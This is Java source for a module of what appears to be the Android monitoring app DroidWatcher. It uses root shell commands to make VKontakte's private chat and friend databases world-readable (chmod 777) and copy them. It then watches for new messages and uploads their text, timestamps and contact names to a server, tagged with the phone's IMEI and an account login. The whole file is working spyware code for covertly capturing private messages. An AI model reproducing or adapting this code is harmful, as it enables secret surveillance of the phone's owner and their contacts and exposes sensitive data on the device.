package com.droidwatcher.modules.vk; import java.util.ArrayList; import java.util.Date; import org.acra.ACRA; import com.droidwatcher.Debug; import com.droidwatcher.ServerMessanger; import com.droidwatcher.lib.FileUtil; import com.droidwatcher.lib.IMessageBody; import com.droidwatcher.lib.MessageType; import com.droidwatcher.lib.IMMessage; import com.droidwatcher.variables.ServerMessage; import com.stericson.RootTools.RootTools; import android.annotation.SuppressLint; import android.content.Context; import android.content.SharedPreferences; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.preference.PreferenceManager; @SuppressLint("SdCardPath") public class VkModule_old extends VkModuleBase { private static final String PATH_CHATS = "/data/data/com.vkontakte.android/databases/chats.db"; private static final String PATH_FRIENDS = "/data/data/com.vkontakte.android/databases/friends.db"; private static final String[] FRIENDS_COLUMNS = new String[] {"firstname", "lastname"}; private String LOCAL_PATH_CHATS = ""; private String LOCAL_PATH_FRIENDS = ""; public VkModule_old(Context context) { super(context); LOCAL_PATH_CHATS = FileUtil.getFullPath(context, "chats.db"); LOCAL_PATH_FRIENDS = FileUtil.getFullPath(context, "friends.db"); } @Override public synchronized void start() { MyCommandCapture command = new MyCommandCapture( "chmod 777 /data/data/com.vkontakte.android/databases/*", "cat " + PATH_FRIENDS + " > " + LOCAL_PATH_FRIENDS, "cat " + PATH_CHATS + " > " + LOCAL_PATH_CHATS, "chmod 777 " + FileUtil.getFullPath(mContext, "*")); command.setCallback(new ICommandCallback() { @Override public void run() { SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(mContext); mLastMsgTimestamp = settings.getLong(SETTINGS_LASTDATE, getLastUpdate()); mFileObserver = new VkFileObserver(PATH_CHATS); Debug.i("[VkModule_old] Start watching"); mFileObserver.startWatching(); mIsStarted = true; } }); try { RootTools.getShell(true).add(command); } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } } @Override public synchronized void stop() { mIsStarted = false; try { saveLastMsgTimestamp(mLastMsgTimestamp); mFileObserver.stopWatching(); mFileObserver = null; } catch (Exception e) { Debug.exception(e); } finally { mFileObserver = null; } } @Override protected synchronized void getNewChat(){ MyCommandCapture command = new MyCommandCapture("cat " + PATH_CHATS + " > " + LOCAL_PATH_CHATS); command.setCallback(new ICommandCallback() { @Override public void run() { SQLiteDatabase db = null; try { db = SQLiteDatabase.openDatabase(LOCAL_PATH_CHATS, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY); ArrayList<Integer> chats = getUpdatedChats(db); if (chats == null || chats.size() == 0) { return; } ArrayList<IMessageBody> list = new ArrayList<IMessageBody>(); for (Integer id : chats) { list.addAll(getMessages(id, db)); } final long lastMsgTimestamp = mLastMsgTimestamp; mLastMsgTimestamp = getLastMsgTimestamp(db); db.close(); db = null; if (list != null && list.size() > 0 && networkAvailable()) { new ServerMessanger( mContext, new ServerMessage(MessageType.VK, mSettings.imei(), mSettings.login(), list), new ServerMessanger.ICallBack() { @Override public boolean onFinished(String response) { return false; } @Override public void onError() { mLastMsgTimestamp = lastMsgTimestamp; } @Override public void onSuccess() { saveLastMsgTimestamp(mLastMsgTimestamp); } } ).start(); } } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } finally { if (db != null && db.isOpen()) { db.close(); } } } }); try{ RootTools.getShell(true).add(command); } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } } private ArrayList<IMessageBody> getMessages(Integer id, SQLiteDatabase db){ Cursor c = null; try { ArrayList<IMessageBody> messages = new ArrayList<IMessageBody>(); c = db.query("chat" + id, new String[] {"sender", "text", "time"}, "time > " + mLastMsgTimestamp, null, null, null, null); while (c.moveToNext()) { int sender = c.getInt(0); String text = c.getString(1); long date = c.getLong(2) * 1000; messages.add(new IMMessage(date, text, getUserName(id), sender == id ? 1 : 2)); } return messages; } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); return null; } finally { if (c != null) { c.close(); } } } private ArrayList<Integer> getUpdatedChats(SQLiteDatabase db){ Cursor c = null; try { ArrayList<Integer> chats = new ArrayList<Integer>(); c = db.query("stats", new String[] {"peer"}, "last_update > " + mLastMsgTimestamp, null, null, null, null); while (c.moveToNext()) { chats.add(c.getInt(0)); } return chats; } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); return null; } finally { if (c != null) { c.close(); } } } private synchronized String getUserName(int uid){ if (mUsernames.get(uid) != null) { return mUsernames.get(uid); } SQLiteDatabase db = null; Cursor c = null; try { db = SQLiteDatabase.openDatabase(LOCAL_PATH_FRIENDS, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY); c = db.query("friendlist", FRIENDS_COLUMNS, "uid = ?", new String[] { String.valueOf(uid) }, null, null, null); if (c.getCount() != 1) { return "Unknown"; } if (c.moveToFirst()) { String username = c.getString(c.getColumnIndex("firstname")) + " " + c.getString(c.getColumnIndex("lastname")); mUsernames.put(uid, username); return username; } return "Unknown"; } catch(Exception e){ e.printStackTrace(); return "Unknown"; } finally { if (db != null && db.isOpen()) { db.close(); } if (c != null) { c.close(); } } } private long getLastUpdate(){ SQLiteDatabase db = null; Cursor c = null; try { db = SQLiteDatabase.openDatabase(LOCAL_PATH_CHATS, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY); c = db.rawQuery("SELECT MAX(last_update) FROM stats", null); c.moveToFirst(); return c.getLong(0); } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); return new Date().getTime(); } finally { if (db != null && db.isOpen()) { db.close(); } if (c != null) { c.close(); } } } private long getLastMsgTimestamp(SQLiteDatabase db){ Cursor c = null; try { c = db.rawQuery("SELECT MAX(last_update) FROM stats", null); c.moveToFirst(); return c.getLong(0); } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); return new Date().getTime(); } finally { if (c != null) { c.close(); } } } }